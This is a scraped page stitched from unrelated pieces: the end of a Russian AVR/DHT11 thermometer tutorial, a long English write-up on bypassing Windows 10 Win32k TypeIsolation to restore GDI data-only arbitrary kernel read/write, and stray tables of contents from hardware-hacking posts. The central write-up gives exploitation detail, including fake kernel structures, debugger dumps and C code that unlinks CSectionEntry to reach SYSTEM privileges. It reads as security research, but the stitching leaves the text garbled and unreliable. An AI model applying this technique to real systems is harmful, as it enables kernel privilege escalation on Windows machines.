				RCALL GET_BITS
				
				;Тест - отправить BITS в USART
				;RCALL TEST_BITS  
				
				; получаем из BITS цифровые данные
				RCALL GET_HnT_DATA
				
				;Тест - отправить 4 байта начиная с H10 в USART
				;RCALL TEST_H10_T01
				
				; подготовидли температуру и влажность в ASCII		
				RCALL HnT_ASCII_DATA_EX
				
				; Отправить готовую температуру (надпись и ASCII данные) в USART
				RCALL PRINT_TEMPER
				; Отправить готовую влажность (надпись и ASCII данные) в USART
				RCALL PRINT_HUMID
				; переведем строку дял красоты				
				RCALL SEND_CRLF
							
				RCALL DELAY_1200MS				;повторяем каждые 1.2 секунды 
				rjmp loop		; зациклились

Прошиваем, подключаем USB-TTL кабель (преобразователь)к компьютеру, запускаем терминал, выбираем правильный виртуальный COM порта и наслаждаемся нашим новым цифровым термометром. Для проверки можно погреть датчик в руке — у меня температура при этом растет, а влажность как ни странно уменьшается.

Ссылки по теме:
AVR Delay Calc
Как подключить Arduino для программирования в Atmel Studio 7
DHT11 Datasheet
ATmega DataSheet
Atmel AVR 8-bit Instruction Set
Atmel Studio
Код примера на github

03.06.2018

Save and Reborn GDI data-only attack from Win32k TypeIsolation

1 Background

In recent years, the exploit of GDI objects to complete arbitrary memory address R/W in kernel exploitation has become more and more useful. In many types of vulnerabilityes such as pool overflow, arbitrary writes, and out-of-bound write, use after free and double free, you can use GDI objects to read and write arbitrary memory. We call this GDI data-only attack.

Microsoft introduced the win32k type isolation after the Windows 10 build 1709 release to mitigate GDI data-only attack in kernel exploitation. I discovered a mistake in Win32k TypeIsolation when I reverse win32kbase.sys. It have resulted GDI data-only attack worked again in certain common vulnerabilities. In this paper, I will share this new attack scenario.

Debug environment:

OS:

Windows 10 rs3 16299.371

FILE:

Win32kbase.sys 10.0.16299.371

2 GDI data-only attack

GDI data-only attack is one of the common methods which used in kernel exploitation. Modify GDI object member-variables by common vulnerabilities, you can use the GDI API in win32k to complete arbitrary memory read and write. At present, two GDI objects commonly used in GDI data-only attacks are Bitmap and Palette. An important structure of Bitmap is:


Typedef struct _SURFOBJ {

DHSURF dhsurf;

HSURF hsurf;

DHPDEV dhpdev;

HDEV hdev;

SIZEL sizlBitmap;

ULONG cjBits;

PVOID pvBits;

PVOID pvScan0;

LONG lDelta;

ULONG iUniq;

ULONG iBitmapFormat;

USHORT iType;

USHORT fjBitmap;

} SURFOBJ, *PSURFOBJ;

An important structure of Palette is:


Typedef struct _PALETTE64

{

BASEOBJECT64 BaseObject;

FLONG flPal;

ULONG32 cEntries;

ULONG32 ulTime;

HDC hdcHead;

ULONG64 hSelected;

ULONG64 cRefhpal;

ULONG64 cRefRegular;

ULONG64 ptransFore;

ULONG64 ptransCurrent;

ULONG64 ptransOld;

ULONG32 unk_038;

ULONG64 pfnGetNearest;

ULONG64 pfnGetMatch;

ULONG64 ulRGBTime;

ULONG64 pRGBXlate;

PALETTEENTRY *pFirstColor;

Struct _PALETTE *ppalThis;

PALETTEENTRY apalColors[3];

}

In the kernel structure of Bitmap and Palette, two important member-variables related to GDI data-only attack are Bitmap->pvScan0 and Palette->pFirstColor. Two member-variables point to Bitmap and Palette’s data field, and you can read or write data from data field through the GDI APIs. As long as we modify two member-variables to any memory address by triggering a vulnerability, we can use GetBitmapBits/SetBitmapBits or GetPaletteEntries/SetPaletteEntries to read and write arbitrary memory address.

About using the Bitmap and Palette to complete the GDI data-only attack Now that there are many related technical papers on the Internet, and it is not the focus of this paper, there will be no more deeply sharing. The relevant information can refer to the fifth part.

3 Win32k TypeIsolation

The exploit of GDI data-only attack greatly reduces the difficulty of kernel exploitation and can be used in most common types of vulnerabilities. Microsoft has added a new mitigation after Windows 10 rs3 build 1709 —- Win32k Typeisolation, which manages the GDI objects through a doubly-linked list, and separates the head of the GDI object from the data field. This is not only mitigate the exploit of pool fengshui which create a predictable pool and uses a GDI object to occupy the pool hole and modify member-variables by vulnerabilities. but also mitigate attack scenario which modifies other member-variables of GDI object header to increase the controllable range of the data field, because the head and data field is no longer adjacent.

About win32k typeisolation mechanism can refer to the following figure:

Here I will explain the important parts of the mechanism of win32k typeisolation. The detailed operation mechanism of win32k typeisolation, including the allocation, and release of GDI object, can be referred to in the fifth part.

In win32k typeisolation, GDI object is managed uniformly through the CSectionEntry doubly linked list. The view field points to a 0x28000 memory space, and the head of the GDI object is managed here. The view field is managed by view array, and the array size is 0x1000. When assigning to a GDI object, RTL_BITMAP is used as an important basis for assigning a GDI object to a specified view field.

In CSectionEntry, bitmap_allocator points to CSectionBitmapAllocator, and xored_view, xor_key, xored_rtl_bitmap are stored in CSectionBitmapAllocator, where xored_view ^ xor_key points to the view field and xored_rtl_btimap ^ xor_key points to RTL_BITMAP.

In RTL_BITMAP, bitmap_buffer_ptr points to BitmapBuffer,and BitmapBuffer is used to record the status of the view field, which is 0 for idle and 1 for in use. When applying for a GDI object, it starts traversing the CSectionEntry list through win32kbase!gpTypeIsolation and checks whether the current view field contains a free memory by CSectionBitmapAllocator. If there is a free memory, a new GDI object header will be placed in the view field.

I did some research in the reverse engineering of the implementation of GDI object allocation and release about the CTypeIsolation class and the CSectionEntry class, and then I found a mistake. TypeIsolation traverses the CSectionEntry doubly linked list, uses the CSectionBitmapAllocator to determine the state of the view field, and manages the GDI object SURFACE which stored in the view field, but does not check the validity of CSectionEntry->view and CSectionEntry->bitmap_allocator pointers, that is to say if we can construct a fake view and fake bitmap_allocator, and we can use the vulnerability to modify CSectionEntry->view and CSectionEntry->bitmap_allocator to point to fake struct, we can re-use GDI object to complete the data-only attack.

4 Save and reborn gdi data-only attack!

In this section, I would like to share the idea of this attack scenario. HEVD is a practice driver developed by Hacksysteam that has typical kernel vulnerabilities. There is an Arbitrary Write vulnerability in HEVD. We use this vulnerability as example to share my attack scenario.

Attack scenario:

First look at the allocation of CSectionEntry, CSectionEntry will allocate 0x40 size session paged pool, CSectionEntry allocate pool memory implementation in NSInstrumentation::CSectionEntry::Create().


.text:00000001C002AC8A mov edx, 20h ; NumberOfBytes

.text:00000001C002AC8F mov r8d, 6F736955h ; Tag

.text:00000001C002AC95 lea ecx, [rdx+1] ; PoolType

.text:00000001C002AC98 call cs:__imp_ExAllocatePoolWithTag //Allocate 0x40 session paged pool

In other words, we can still use the pool fengshui to create a predictable session paged pool hole and it will be occupied with CSectionEntry. Therefore, in the exploit scenario of HEVD Arbitrary write, we use the tagWND to create a stable pool hole. , and use the HMValidateHandle to leak tagWND kernel object address. Because the current vulnerability instance is an arbitrary write vulnerability, if we can reveal the address of the kernel object, it will facilitate our understanding of this attack scenario, of course, in many attack scenarios, we only need to use pool fengshui to create a predictable pool.


Kd> g//make a stable pool hole by using tagWND

Break instruction exception - code 80000003 (first chance)

0033:00007ff6`89a61829 cc int 3

Kd> p

0033:00007ff6`89a6182a 488b842410010000 mov rax,qword ptr [rsp+110h]

Kd> p

0033:00007ff6`89a61832 4839842400010000 cmp qword ptr [rsp+100h],rax

Kd> r rax

Rax=ffff862e827ca220

Kd> !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04

Ffff862e827ca150 size: 10 previous size: 150 (Free) Free

Ffff862e827ca160 size: b0 previous size: 10 (Free ) Uscu

*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Ustx Process: ffffd40acb28c580

Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp

Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8

Ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8```

0xffff862e827ca220 is a stable session paged pool hole, and 0xffff862e827ca220 will be released later, in a free state.


Kd> p

0033:00007ff7`abc21787 488b842498000000 mov rax,qword ptr [rsp+98h]

Kd> p

0033:00007ff7`abc2178f 48398424a0000000 cmp qword ptr [rsp+0A0h],rax

Kd> !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04

Ffff862e827ca150 size: 10 previous size: 150 (Free) Free

Ffff862e827ca160 size: b0 previous size: 10 (Free) Uscu

*ffff862e827ca210 size: 40 previous size: b0 (Free ) *Ustx

Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp

Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8

Ffff862e827ca330 size: e0 previous size: e0 (Allocated) Gla8

Now we need to create the CSecitionEntry to occupy 0xffff862e827ca220. This requires the use of a feature of TypeIsolation. As mentioned in the second section, when the GDI object is requested, it will traverse the CSectionEntry and determine whether there is any free in the view field, if the view field of the CSectionEntry is full, the traversal will continue to the next CSectionEntry, but if CTypeIsolation doubly linked list, all the view fields of the CSectionEntrys are full, then NSInstrumentation::CSectionEntry::Create is invoked to create a new CSectionEntry.

Therefore, we allocate a large number of GDI objects after we have finished creating the pool hole to fill up all the CSectionEntry’s view fields to ensure that a new CSectionEntry is created and occupy a pool hole of size 0x40.


Kd> g//create a large number of GDI objects, 0xffff862e827ca220 is occupied by CSectionEntry

Kd> !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

Ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04

Ffff862e827ca150 size: 10 previous size: 150 (Free) Free

Ffff862e827ca160 size: b0 previous size: 10 (Free) Uscu

*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Uiso

Pooltag Uiso : USERTAG_ISOHEAP, Binary : win32k!TypeIsolation::Create

Ffff862e827ca250 size: e0 previous size: 40 (Allocated) Gla8 ffff86b442563150 size:

Next we need to construct the fake CSectionEntry->view and fake CSectionEntry->bitmap_allocator and use the Arbitrary Write to modify the member-variable pointer in the CSectionEntry in the session paged pool hole to point to the fake struct we constructed.

The view field of the new CSectionEntry that was created when we allocate a large number of GDI objects may already be full or partially full by SURFACEs. If we construct the fake struct to construct the view field as empty, then we can deceive TypeIsolation that GDI object will place SURFACE in a known location.

We use VirtualAllocEx to allocate the memory in the userspace to store the fake struct, and we set the userspace memory property to READWRITE.


Kd> dq 1e0000//fake pushlock

00000000`001e0000 00000000`00000000 00000000`0000006c

Kd> dq 1f0000//fake view

00000000`001f0000 00000000`00000000 00000000`00000000

00000000`001f0010 00000000`00000000 00000000`00000000

Kd> dq 190000//fake RTL_BITMAP

00000000`00190000 00000000`000000f0 00000000`00190010

00000000`00190010 00000000`00000000 00000000`00000000

Kd> dq 1c0000//fake CSectionBitmapAllocator

00000000`001c0000 00000000`001e0000 deadbeef`deb2b33f

00000000`001c0010 deadbeef`deadb33f deadbeef`deb4b33f

00000000`001c0020 00000001`00000001 00000001`00000000

Among them, 0x1f0000 points to the view field, 0x1c0000 points to CSectionBitmapAllocator, and the fake view field is used to store the GDI object. The structure of CSectionBitmapAllocator needs thoughtful construction because we need to use it to deceive the typeisolation that the CSectionEntry we control is a free view item.


Typedef struct _CSECTIONBITMAPALLOCATOR {

PVOID pushlock; // + 0x00

ULONG64 xored_view; // + 0x08

ULONG64 xor_key; // + 0x10

ULONG64 xored_rtl_bitmap; // + 0x18

ULONG bitmap_hint_index; // + 0x20

ULONG num_commited_views; // + 0x24

} CSECTIONBITMAPALLOCATOR, *PCSECTIONBITMAPALLOCATOR;

The above CSectionBitmapAllocator structure compares with 0x1c0000 structure, and I defined xor_key as 0xdeadbeefdeadb33f, as long as the xor_key ^ xor_view and xor_key ^ xor_rtl_bitmap operation point to the view field and RTL_BITMAP. In the debugging I found that the pushlock must point to a valid structure pointer, otherwise it will trigger BUGCHECK, so I allocate memory 0x1e0000 to store pushlock content.

As described in the second section, bitmap_hint_index is used as a condition to quickly index in the RTL_BITMAP, so this value also needs to be set to 0x00 to indicate the index in RTL_BITMAP. In the same way we look at the structure of RTL_BITMAP.


Typedef struct _RTL_BITMAP {

ULONG64 size; // + 0x00

PVOID bitmap_buffer; // + 0x08

} RTL_BITMAP, *PRTL_BITMAP;

Kd> dyb fffff322401b90b0

76543210 76543210 76543210 76543210

-------- -------- -------- --------

Fffff322`401b90b0 11110000 00000000 00000000 00000000 f0 00 00 00

Fffff322`401b90b4 00000000 00000000 00000000 00000000 00 00 00 00

Fffff322`401b90b8 11000000 10010000 00011011 01000000 c0 90 1b 40

Fffff322`401b90bc 00100010 11110011 11111111 11111111 22 f3 ff ff

Fffff322`401b90c0 11111111 11111111 11111111 11111111 ff ff ff ff

Fffff322`401b90c4 11111111 11111111 11111111 11111111 ff ff ff ff

Fffff322`401b90c8 11111111 11111111 11111111 11111111 ff ff ff ff

Fffff322`401b90cc 11111111 11111111 11111111 11111111 ff ff ff ff

Kd> dq fffff322401b90b0

Fffff322`401b90b0 00000000`000000f0 fffff322`401b90c0//ptr to rtl_bitmap buffer

Fffff322`401b90c0 ffffffff`ffffffff ffffffff`ffffffff

Fffff322`401b90d0 ffffffff`ffffffff

Here I select a valid RTL_BITMAP as a template, where the first member-variable represents the RTL_BITMAP size, the second member-variable points to the bitmap_buffer, and the immediately adjacent bitmap_buffer represents the state of the view field in bits. To deceive typeisolation, we will all of them are set to 0, indicating that the view field of the current CSectionEntry item is all idle, referring to the 0x190000 fake RTL_BITMAP structure.

Next, we only need to modify the CSectionEntry view and CSectionBitmapAllocator pointer through the HEVD’s Arbitrary write vulnerability.


Kd> dq ffff862e827ca220//before trigger

Ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300

Ffff862e`827ca230 ffffc383`08613880 ffff862e`84780000

Ffff862e`827ca240 ffff862e`827f33c0 00000000`00000000

Kd> g / / trigger vulnerability, CSectionEntry-> view and CSectionEntry-> bitmap_allocator is modified

Break instruction exception - code 80000003 (first chance)

0033:00007ff7`abc21e35 cc int 3

Kd> dq ffff862e827ca220

Ffff862e`827ca220 ffff862e`827cf4f0 ffff862e`827ef300

Ffff862e`827ca230 ffffc383`08613880 00000000`001f0000

Ffff862e`827ca240 00000000`001c0000 00000000`00000000

Next, we normally allocate a GDI object, call CreateBitmap to create a bitmap object, and then observe the state of the view field.


Kd> g

Break instruction exception - code 80000003 (first chance)

0033:00007ff7`abc21ec8 cc int 3

Kd> dq 1f0280

00000000`001f0280 00000000`00051a2e 00000000`00000000

00000000`001f0290 ffffd40a`cc9fd700 00000000`00000000

00000000`001f02a0 00000000`00051a2e 00000000`00000000

00000000`001f02b0 00000000`00000000 00000002`00000040

00000000`001f02c0 00000000`00000080 ffff862e`8277da30

00000000`001f02d0 ffff862e`8277da30 00003f02`00000040

00000000`001f02e0 00010000`00000003 00000000`00000000

00000000`001f02f0 00000000`04800200 00000000`00000000

You can see that the bitmap kernel object is placed in the fake view field. We can read the bitmap kernel object directly from the userspace. Next, we only need to directly modify the pvScan0 of the bitmap kernel object stored in the userspace, and then call the GetBitmapBits/SetBitmapBits to complete any memory address read and write.

Summarize the exploit process:

Fix for full exploit:

In the course of completing the exploit, I discovered that BSOD was generated some time, which greatly reduced the stability of the GDI data-only attack. For example,


Kd> !analyze -v

************************************************** *****************************

* *

* Bugcheck Analysis *

* *

************************************************** *****************************




SYSTEM_SERVICE_EXCEPTION (3b)

An exception happened while performing a system service routine.

Arguments:

Arg1: 00000000c0000005, Exception code that caused the bugcheck

Arg2: ffffd7d895bd9847, Address of the instruction which caused the bugcheck

Arg3: ffff8c8f89e98cf0, Address of the context record for the exception that caused the bugcheck

Arg4: 0000000000000000, zero.




Debugging Details:

------------------







OVERLAPPED_MODULE: Address regions for 'dxgmms1' and 'dump_storport.sys' overlap




EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - 0x%08lx




FAULTING_IP:

Win32kbase!NSInstrumentation::CTypeIsolation&lt;163840,640>::AllocateType+47

Ffffd7d8`95bd9847 488b1e mov rbx, qword ptr [rsi]




CONTEXT: ffff8c8f89e98cf0 -- (.cxr 0xffff8c8f89e98cf0)

.cxr 0xffff8c8f89e98cf0

Rax=ffffdb0039e7c080 rbx=ffffd7a7424e4e00 rcx=ffffdb0039e7c080

Rdx=ffffd7a7424e4e00 rsi=00000000001e0000 rdi=ffffd7a740000660

Rip=ffffd7d895bd9847 rsp=ffff8c8f89e996e0 rbp=0000000000000000

R8=ffff8c8f89e996b8 r9=0000000000000001 r10=7ffffffffffffffc

R11=0000000000000027 r12=00000000000000ea r13=ffffd7a740000680

R14=ffffd7a7424dca70 r15=0000000000000027

Iopl=0 nv up ei pl nz na po nc

Cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206

Win32kbase!NSInstrumentation::CTypeIsolation&lt;163840,640>::AllocateType+0x47:

Ffffd7d8`95bd9847 488b1e mov rbx, qword ptr [rsi] ds:002b:00000000`001e0000=????????????????

After many tracking, I discovered that the main reason for BSOD is that the fake struct we created when using VirtualAllocEx is located in the process space of our current process. This space is not shared by other processes, that is, if we modify the view field through a vulnerability. After the pointer to the CSectionBitmapAllocator, when other processes create the GDI object, it will also traverse the CSecitionEntry. When traversing to the CSectionEntry we modify through the vulnerability, it will generate BSoD because the address space of the process is invalid, so here I did my first fix when the vulnerability was triggered finish.


DWORD64 fix_bitmapbits1 = 0xffffffffffffffff;

DWORD64 fix_bitmapbits2 = 0xffffffffffff;

DWORD64 fix_number = 0x2800000000;

CopyMemory((void *)(fakertl_bitmap + 0x10), &fix_bitmapbits1, 0x8);

CopyMemory((void *)(fakertl_bitmap + 0x18), &fix_bitmapbits1, 0x8);

CopyMemory((void *)(fakertl_bitmap + 0x20), &fix_bitmapbits1, 0x8);

CopyMemory((void *)(fakertl_bitmap + 0x28), &fix_bitmapbits2, 0x8);

CopyMemory((void *)(fakeallocator + 0x20), &fix_number, 0x8);

In the first fix, I modified the bitmap_hint_index and the rtl_bitmap to deceive the typeisolation when traverse the CSectionEntry and think that the view field of the fake CSectionEntry is currently full and will skip this CSectionEntry.

We know that the current CSectionEntry has been modified by us, so even if we end the exploit exit process, the CSectionEntry will still be part of the CTypeIsolation doubly linked list, and when our process exits, The current process space allocated by VirtualAllocEx will be released. This will lead to a lot of unknown errors. We have already had the ability to read and write at any address. So I did my second fix.


ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress + 0x8, (BYTE *)&CSectionPrevious, sizeof(DWORD64));

ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress, (BYTE *)&CSectionNext, sizeof(DWORD64));

LogMessage(L_INFO, L"Current CSectionEntry->previous: 0x%p", CSePrevious);

LogMessage(L_INFO, L"Current CSectionEntry->next: 0x%p", CSectionNext);

ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionNext + 0x8, (BYTE *)&CSectionPrevious, sizeof(DWORD64));

ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionPrevious, (BYTE *)&CSectionNext, sizeof(DWORD64));

In the second fix, I obtained CSectionEntry->previous and CSectionEntry->next, which unlinks the current CSectionEntry so that when the GDI object allocates traversal CSectionEntry, it will deal with fake CSectionEntry no longer.

After completing the two fixes, you can successfully use GDI data-only attack to complete any memory address read and write. Here, I directly obtained the SYSTEM permissions for the latest version of Windows10 rs3, but once again when the process completely exits, it triggers BSoD. After the analysis, I found that this BSoD is due to the unlink after, the GDI handle is still stored in the GDI handle table, then it will find the corresponding kernel object in CSectionEntry and free away, and we store the bitmap kernel object CSectionEntry has been unlink, Caused the occurrence of BSoD.

The problem occurs in NtGdiCloseProcess, which is responsible for releasing the GDI object of the current process. The call chain associated with SURFACE is as follows


0e ffff858c`8ef77300 ffff842e`52a57244 win32kbase!SURFACE::bDeleteSurface+0x7ef

0f ffff858c`8ef774d0 ffff842e`52a1303f win32kbase!SURFREF::bDeleteSurface+0x14

10 ffff858c`8ef77500 ffff842e`52a0cbef win32kbase!vCleanupSurfaces+0x87

11 ffff858c`8ef77530 ffff842e`52a0c804 win32kbase!NtGdiCloseProcess+0x11f

bDeleteSurface is responsible for releasing the SURFACE kernel object in the GDI handle table. We need to find the HBITMAP which stored in the fake view in the GDI handle table, and set it to 0x0. This will skip the subsequent free processing in bDeleteSurface. Then call HmgNextOwned to release the next GDI object. The key code for finding the location of HBITMAP in the GDI handle table is in HmgSharedLockCheck. The key code is as follows:


V4 = *(_QWORD *)(*(_QWORD *)(**(_QWORD **)(v10 + 24) + 8 *((unsigned __int64)(unsigned int)v6 >> 8)) + 16i64 * (unsigned __int8 )v6 + 8);

Here I have restored a complete calculation method to find the bitmap object:


*(*(*(*(*win32kbase!gpHandleManager+10)+8)+18)+(hbitmap&0xffff>>8)*8)+hbitmap&0xff*2*8

It is worth mentioning here is the need to leak the base address of win32kbase.sys, in the case of Low IL, we need vulnerability to leak info. And I use NtQuerySystemInformation in Medium IL to leak win32kbase.sys base address to calculate the gpHandleManager address, after Find the position of the target bitmap object in the GDI handle table in the fake view, and set it to 0x0. Finally complete the full exploit.

Now that the exploit of the kernel is getting harder and harder, a full exploitation often requires the support of other vulnerabilities, such as the info leak. Compared to the oob writes, uaf, double free, and write-what-where, the pool overflow is more complicated with this scenario, because it involves CSectionEntry->previous and CSectionEntry->next problems, but it is not impossible to use this scenario in pool overflow.

If you have any questions, welcome to discuss with me. Thank you!

5 Reference

https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives

https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentations/5A1F/DEFCON-25-5A1F-Demystifying-Kernel-Exploitation-By-Abusing-GDI-Objects.pdf

https://blog.quarkslab.com/reverse-engineering-the-win32k-type-isolation-mitigation.html

https://github.com/sam-b/windows_kernel_address_leaks

Recommended Prerequisites

The binary

Don’t Confuse Assign (=) with Test-for-Equality (==).

Variadic Templates :

TL;DR

Introduction

ISSP Protocol

ISSP ??

Demystifying the vectors

Talking to the PSoC

Identifying internal registers

Security bits

First (failed) attack: ROMX

Second attack: cold boot stepping

Implementation

Reading the results

Reconstructing the flash image

Locating the PIN address

Dumping block 126

Recovering the PIN

What’s next ?

Conclusion

Introduction

Hardware design

Main PCB

LCD PCB

Keyboard PCB

Following wires

Attack steps

Dumping the SPI flash

Sniffing communications

Gathering and Analysing Open Source Components

GPL Licenses — What They Are and What to Expect [Theory]

Challenges of Binary Verification [Theory]

Introduction to the Architecture of Linux [Theory]

Bootloader Source Code

Kernel Source Code

User Space Source Code

Binary Disassembly [Theory]

Popular Disassemblers

Gathering Intel on the CPU and Its Assembly Code [Theory]

Example of User Space Binary Disassembly

Function Names in a Binary — Intro to Symbol Tables [Theory]

Looking for the Default WiFi Password Generation Algorithm

What do We Know?

Finding Hardcoded Strings

Reversing the Functions that Uses Them

Giving Up

Looking for Command Injection Vulnerabilities

Looking for More Complex Vulnerabilities [Theory]

Decompiling Binaries [Theory]

Next Steps

Tips and Tricks

Mistaken xrefs and how to remove them

Setting function prototypes so IDA comments the args around calls for us

Taking Advantage of the GPL Source Code

Disassembly Methods — Linear Sweep vs Recursive Descent

Dumping the Memory Contents

Do We Need to Desolder The Flash IC? [Theory]

Connecting to the Flash IC

Dumping the Data

Splitting the Binary

Extracting the Data

Bootloader

Kernel

Filesystem

Protected

Next Steps

Data Flows In the PCB

Understanding the Flash IC

The Importance of Your Sampling Rate [Theory]

Seeing the Data Flow

Analysing SPI Traffic — ATP’s Save Command

The Pot of Gold at the End of the Firmware [Theory]

The Sticker Problem

Sniffing Factory Reset

Next Steps

First (failed) attack: `ROMX`